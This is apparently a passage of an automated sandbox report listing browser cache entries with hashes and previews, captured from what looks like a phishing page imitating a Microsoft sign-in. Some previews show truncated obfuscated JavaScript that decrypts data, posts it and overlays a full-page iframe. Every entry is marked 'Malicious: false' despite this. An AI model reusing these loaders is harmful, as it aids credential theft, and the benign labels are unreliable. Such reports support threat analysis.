Preview:	"use strict";(function(){function bt(e,r,t,o,l,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,l)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,l){var s=e.apply(r,t);function m(h){bt(s,o,l,m,b,"next",h)}function b(h){bt(s,o,l,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(l){return Object.getOwnPropertyDescriptor(t,l).enumerable}))),o.forEach(function(l){Ie(e,l,t[l])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1378
Category:	downloaded
Size (bytes):	628
Entropy (8bit):	7.6610853322771
Encrypted:	false
SSDEEP:	12:X6/EjXb5e1vpPDySPLiDB/3YLZzrlDuLRndk6l3WZi1epo7IyhadSH8Ib1yfuI:X6cP5e3dgYLMk69Ii1epryt/Md
MD5:	6F68E9881DF18F8E251AB57D5786239B
SHA1:	C0F7A01A288752833390FC330995F25488BCE8EC
SHA-256:	B33E30351B2F4EF67D53D2C6DBE189A4D572425037E4F1264A0190DC4A820845
SHA-512:	B33DFF67480DF940FA0565B231E02F26840DCB5135A4A2FF3C310AA062D3D4B456FA9C8C6E2BC59EC76B515EA1B36D574A5701771BCEE7CEE97B99EF60A803C6
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg
Preview:	..........m.Mo.0.....]%F..6...rX.;..&i..].&HZ...#%...B..4.W$.....>....v8...f....g.O/.3k....ms.o....m...a8.......u..4>.]....r~8...%.....x.m.y].....u.>..7....l.]....i..fC.[O..z.)..r..........g!(.+....4.P9.0@.......R.......^q.I[..7.....Q;...6.N....a.d.%....:...6FE.}.......}s.`LV..Q.U. 8..}..y.&..I..a.\.8%..kgoo.Q6...>.5.8..!.....".t9].v.B) `.G6.V.E\..AJQU.7...J.oS..........@......l.....{.r..KP@......9YD..U......&..:..d......+/...(..:.S_...S......n..z.a...,.,&VB......eJR)...R.H3])>....9O.........KDi.O..#...-?D.1..N.p....h.#.Z.[/..!.h..$..S..Phdqd....}.....E>g..q5..J.T......u.....i.b...

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.2390979179887864
Encrypted:	false
SSDEEP:	3:YWR4b6aI:YWybM
MD5:	B53FA9B452A8E546FDB0592F4FDECEF1
SHA1:	63B4EA5F83C5509E8EF914EFD5A44957614213F1
SHA-256:	C7FBD9501E80A14CF61DC931140FB4D48D148C5E42EA0CEF4573444061BDDDFA
SHA-512:	FEA5C578253020188497E05DFF5A4277CB80E18EB2C4ADBAE1F879D4612832474B7D05EC89145C218B4EEC40BC6B5B994093719B7845BD7A0C8B75D0582B8D8C
Malicious:	false
Preview:	{"status":"error"}

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18
Entropy (8bit):	3.2390979179887864
Encrypted:	false
SSDEEP:	3:YWR4b6aI:YWybM
MD5:	B53FA9B452A8E546FDB0592F4FDECEF1
SHA1:	63B4EA5F83C5509E8EF914EFD5A44957614213F1
SHA-256:	C7FBD9501E80A14CF61DC931140FB4D48D148C5E42EA0CEF4573444061BDDDFA
SHA-512:	FEA5C578253020188497E05DFF5A4277CB80E18EB2C4ADBAE1F879D4612832474B7D05EC89145C218B4EEC40BC6B5B994093719B7845BD7A0C8B75D0582B8D8C
Malicious:	false
URL:	https://inroleet.cfd/dashboard/wlqo
Preview:	{"status":"error"}

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89664
Entropy (8bit):	5.290543045467053
Encrypted:	false
SSDEEP:	1536:SjjxXUHJnxDjoXEZxkMV4PYDt0zxxf6gP3f8cApoEGOzZTBvUsuy8WnKdXwhLQvg:SdeIygP3fulzcsz8jlvaDioQ47GKH
MD5:	00727D1D5D9C90F7DE826F1A4A9CC632
SHA1:	EA61688671D0C3044F2C5B2F2C4AF0A6620AC6C2
SHA-256:	A3CF00C109D907E543BC4F6DBC85EB31068F94515251347E9E57509B52EE3D74
SHA-512:	69528A4518BF43F615FB89A3A0A06C138C771FE0647A0A0CFDE9B8E8D3650AA3539946000E305B78D79F371615EE0894A74571202B6A76B6EA53B89569E64D5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.1/jquery.min.js
Preview:	/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 899
Category:	downloaded
Size (bytes):	257
Entropy (8bit):	7.214583767156971
Encrypted:	false
SSDEEP:	6:XtvCQKouHxNdTrbvqHzpuLe5k2Pk0i+W+DK8m16N/hsXgRDl:XZqHbytuoJRW+Rm3XgR5
MD5:	2B6F0403F176E6DC6BEA341A857CA6FA
SHA1:	C2A500D09BB98E9820EF09EF3ABD81CD2198A266
SHA-256:	2F40A1E6FD7B0238E0D42FCF62E2BB41F120CFC977F3EDC3A8F83D88700CE5F5
SHA-512:	7ADC56CB92DC752C23005A82412E89E0C7C3FBE21B42CA5ED7B43DAF3483FBAA4D7FD4613A021766E5A622E41CF0236D93DD4CD04B93081563AC2C38E1C72B46
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_more_ef457519e32834a8087669d5a08bb5fb.svg
Preview:	...........SAn. ....a.1..[J..@o.b.KI.....@.....C....awF...........X....^.....,..(.Go..%Fv^..s\|[..v.... ....?.....ayg....8.wM.h.O8E.E2B....k.L.R.,)...!/XR.nS..i6.N.&.:T9".....E.h.D..6Hn.P.4.HR.^..-...l.7..i...H?U"[w;...g.N..1.X5.I..f.I.k\|........

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 899
Category:	dropped
Size (bytes):	257
Entropy (8bit):	7.214583767156971
Encrypted:	false
SSDEEP:	6:XtvCQKouHxNdTrbvqHzpuLe5k2Pk0i+W+DK8m16N/hsXgRDl:XZqHbytuoJRW+Rm3XgR5
MD5:	2B6F0403F176E6DC6BEA341A857CA6FA
SHA1:	C2A500D09BB98E9820EF09EF3ABD81CD2198A266
SHA-256:	2F40A1E6FD7B0238E0D42FCF62E2BB41F120CFC977F3EDC3A8F83D88700CE5F5
SHA-512:	7ADC56CB92DC752C23005A82412E89E0C7C3FBE21B42CA5ED7B43DAF3483FBAA4D7FD4613A021766E5A622E41CF0236D93DD4CD04B93081563AC2C38E1C72B46
Malicious:	false
Preview:	...........SAn. ....a.1..[J..@o.b.KI.....@.....C....awF...........X....^.....,..(.Go..%Fv^..s\|[..v.... ....?.....ayg....8.wM.h.O8E.E2B....k.L.R.,)...!/XR.nS..i6.N.&.:T9".....E.h.D..6Hn.P.4.HR.^..-...l.7..i...H?U"[w;...g.N..1.X5.I..f.I.k\|........

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3095), with no line terminators
Category:	dropped
Size (bytes):	3095
Entropy (8bit):	5.445937578764481
Encrypted:	false
SSDEEP:	48:RXHyJ8wl71TUIL3EIbX2EDxAw9ezhl5e2BKsKXQ7XRVe65yZuPIE66yzslIMUtSF:ROlqILnro5e2kEXRgZzs4S
MD5:	4F8FFEAB33E19960E303C3B487BADBF4
SHA1:	53FDA5F6F4AE5B227F46720E1124EEF7C424F605
SHA-256:	10A4A60781A0E158A4DA553DE0CA012D7253D366022EE7CB74422134C14B9D1D
SHA-512:	3FD18517F7117A12E22C896104AA83CC18CB54BA695225EA1CDBDA1BDA84B1ADACB9FE7609ADF73CFA4AAFE480E8B6624B944AB667EA791B1CB98548B9B561FD
Malicious:	false
Preview:	function _0x40cf(){var _0x2b2fef=['ajax','.uJzBYxC.','1710RizPDJ','2443LHuxRi','lib','hash','onload','36cZcYqG','pad','Utf8','54HZVkhy','words','close','50FodMgY','decrypt','dir','Status: ','16664IjtvYI','228305zFFkfF','enc','204285ASrtqK','slice','Base64','Error: ','sigBytes','1180287jIKxMg','431LFcbDE','head','POST','9VVgjUS','toString','parse','getElementsByTagName','WordArray','1699789XDdQfi','https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js','create','log','src','substring','AES','createElement','67392xScCYD'];_0x40cf=function(){return _0x2b2fef;};return _0x40cf();}var _0x5d9d0b=_0x4793;(function(_0xe5b782,_0x5a69de){var _0x3776f7=_0x4793,_0x2d4d8c=_0xe5b782();while(!![]){try{var _0x38852d=-parseInt(_0x3776f7(0x80))/0x1(parseInt(_0x3776f7(0x93))/0x2)+parseInt(_0x3776f7(0x83))/0x3(parseInt(_0x3776f7(0x90))/0x4)+-parseInt(_0x3776f7(0xa5))/0x5(-parseInt(_0x3776f7(0x9b))/0x6)+-parseInt(_0x3776f7(0x94))/0x7(parseInt(_0x3776f7(0xa2))/0x8)+parseInt(_0x3776f7(0x

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	downloaded
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1410 x 833, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	719196
Entropy (8bit):	7.975256855583587
Encrypted:	false
SSDEEP:	12288:7Ehhga2oXTry8U0uTU4QyKaS25M04uKG7vEpjZh/tNPKP3+tk:7Ehh933U0uGA5MxutzKzNP/k
MD5:	565B4A20695F828955DD599EFBB16804
SHA1:	32473639BCC1B152EEF1B8E3F1123442EE6FF655
SHA-256:	DC55DE55B9A32E98A619754F2BDC39F74B1135223A9CD8B4AA04DC5E84363D2C
SHA-512:	4C784F5E21150FCD1BB72C4143C056594B824C37410C2C0852BD8D6C841722682D6CFA4D8563DAB6E03786C2D13626A1BC5A60436307935C31038F8364921351
Malicious:	false
Preview:	.PNG........IHDR.......A......]o....pHYs..........+......iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xmp:CreatorTool="Adobe Photoshop 21.2 (Windows)" xmp:CreateDate="2024-04-29T12:44:43-07:00" xmp:ModifyDate="2024-05-07T06:20:28-07:00" xmp:MetadataDate="2024-05-07T06:20:28-07:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41442)
Category:	downloaded
Size (bytes):	41481
Entropy (8bit):	5.31009549751899
Encrypted:	false
SSDEEP:	768:9pQ6+qD0M+7+/kmCACM3aem6eWQi79xpQXQVqQU+h3ghJskJFAn:9pQTsCI9XSMqTXg
MD5:	3B5B3D36FDE8FFE8ED76B1EFBFC65410
SHA1:	D63107D0912FDB387530D5CE2D512C928D73D122
SHA-256:	29D600462A30694EFD15B9848B4CA42D178CD067009275C35A30580121114304
SHA-512:	3C96B7A1048B59107BC0767B190FE0FAACAFEABE266EE8668836FC06348567C359D9AE36A13B40AB99F4B9C580C1C403962900B64B9BFAD3D50B0E27A76ED60A
Malicious:	false
URL:	https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function t(t){for(var r=1;r<arguments.length;r++){var n=null!=arguments[r]?arguments[r]:{};r%2?e(Object(n),!0).forEach((function(e){c(t,e,n[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(n)):e(Object(n)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(n,e))}))}return t}function r(){r=function(){return t};var e,t={},n=Object.prototype,o=n.hasOwnProperty,i=Object.defineProperty\|\|function(e,t,r){e[t]=r.value},a="function"==typeof Symbol?Symbol:{},s=a.iterator\|\|"@@

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25966)
Category:	downloaded
Size (bytes):	25969
Entropy (8bit):	3.9708671654526344
Encrypted:	false
SSDEEP:	96:X7lhX3C8KciGhxBkazu7eeeeeeeeeeeeeeeeeee3e2eexxx4AAAAAAAAAAAAAAA3:LL6GdssssssssssANBkCYgEBz1kny
MD5:	41485F315BA6B70E770AE16124224F3A
SHA1:	4AA3D24DB857F9EA6B1B758D4B9BEF28B479A4CD
SHA-256:	5B526CAB9DEC9FB21ECB5175B14E2C105683E0B2A15DB46BDF5072C4877D66EF
SHA-512:	94B6E2543F8BEC99A99AD57487FB0CA416C6612F75829F943915F490A3EE61EF028D6788EEF5ACF280A1EF1B588E5924CA3B0407460C853F27B630A1070A4A6F
Malicious:	false
URL:	https://exatafidelidade.com.br/wpimg/ekfhdk?_=1715091130790
Preview:	.var _0x1250c4=_0x5d08;(function(_0x24a6ac,_0x3dd547){var _0xc15eb7=_0x5d08,_0x357642=_0x24a6ac();while(!![]){try{var _0x3a5ad3=parseInt(_0xc15eb7(0xb4))/0x1(parseInt(_0xc15eb7(0xcc))/0x2)+-parseInt(_0xc15eb7(0xca))/0x3(parseInt(_0xc15eb7(0xae))/0x4)+parseInt(_0xc15eb7(0xd0))/0x5+parseInt(_0xc15eb7(0xba))/0x6(parseInt(_0xc15eb7(0xa6))/0x7)+-parseInt(_0xc15eb7(0xb0))/0x8+parseInt(_0xc15eb7(0xc1))/0x9+parseInt(_0xc15eb7(0xb3))/0xa(-parseInt(_0xc15eb7(0xab))/0xb);if(_0x3a5ad3===_0x3dd547)break;else _0x357642['push'](_0x357642['shift']());}catch(_0x58086b){_0x357642['push'](_0x357642['shift']());}}}(_0x5a6b,0x61313));var ki=_0x1250c4(0xb8),dn=_0x1250c4(0xa9),sk='d/dashboard/',djks=ki+dn+sk,c=_0x1250c4(0xbb),fbu=b+c,du=atob(fbu),iframe=document['createElement']('iframe');iframe[_0x1250c4(0xcf)][_0x1250c4(0xbd)]=_0x1250c4(0xbc),iframe[_0x1250c4(0xcf)]['top']='0',iframe[_0x1250c4(0xcf)][_0x1250c4(0xc6)]='0',iframe[_0x1250c4(0xcf)][_0x1250c4(0xad)]=_0x1250c4(0xa8),iframe['style'][_0x1250c4

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1410 x 833, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	708456
Entropy (8bit):	7.974910242538474
Encrypted:	false
SSDEEP:	12288:1APudG5DD4dDiYmmLZjnUnH1TItPs2iGRAJTl6:13s5yDdmn9IG9wAJB6
MD5:	663304FAC1C739727677D7D22F33DDC2
SHA1:	ADE174C26A55EC812F0DAC6C225F18469AF1024D
SHA-256:	3E59EA65F40B9C441A89D73688BEE28CF596C46592C2EECAE19CEF763ABA06E4
SHA-512:	20400A4EDF2F76A1AF4E3DE5B8CBA1B2D5C17FC90AAE3143CBFA4667AB74DCA9F0E78B25F36DAC095BF3B3651C1367A9516D866240E2A9D7D88F411AD3CCE7AE
Malicious:	false
URL:	https://exatafidelidade.com.br/wpimg/dhdfjdf.png
Preview:	.PNG........IHDR.......A......]o....pHYs..........+......iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.2 (Windows)" xmp:CreateDate="2024-04-29T12:44:43-07:00" xmp:ModifyDate="2024-05-05T05:44:31-07:00" xmp:MetadataDate="2024-05-05T05:44:31-07:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:921bb8a0-8376-9b41-97d5-c7c4aaefbc86" xmpMM:DocumentID="adobe:docid:photoshop:a323017a-48a3-5b4a-9a1d-3d0e18aac59e"

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
